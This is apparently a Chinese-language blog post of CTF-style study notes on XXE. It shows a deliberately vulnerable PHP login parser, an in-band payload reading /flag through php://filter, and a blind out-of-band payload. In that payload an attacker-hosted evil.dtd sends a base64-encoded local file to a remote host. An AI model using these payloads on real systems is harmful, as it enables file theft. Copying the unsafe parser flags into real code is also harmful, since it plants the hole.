XXE

参考文章
xml、xpath注入

xml注入

参考xss注入

xpath注入

参考sql注入

xxe (xml外部实体引用)

有回显情况

1
2
3
4
5
6
7
8
9
10
11
12
13
$xmlfile=file_get_contents('php://input')
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}

payload =

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
]>
<user>
<username>
&file;
</username>
<password>
随意
</password>
</user>

其中&file;用于引用访问结果
如果环境中装有expect扩展,把php://filter/read=convert.base64-encode/resource=/flag换成

1
2
3
4
5
6
7
8
9


### 无回显

vps上部署evil.dtd

```dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/temp/test.ps1">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:7777?p=%file;'>">

这部分必须在vps上是因为 只有在 DTD 文件中,参数实体的声明才能引用其他实体
send前面的%必须要编码,可能如果不编码会被识别为参数,但找不到%send

上传的xml

1
2
3
4
5
6
7
8
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip:7777/evil.dtd">
%remote;%int;%send;
]>
<user>
<username>www</username>
<password></password>
</user>

疑问:

  1. 为什么vps的dtd文件中不能直接定义
    <!ENTITY % send SYSTEM 'http://ip:7777?p=%file;' >
    然后执行 %send; ?
  2. 为什么非得用参数实体?

XXE
http://mekrina.github.io/blogs/XXE/xxe/
作者
John Doe
发布于
2025年1月20日
许可协议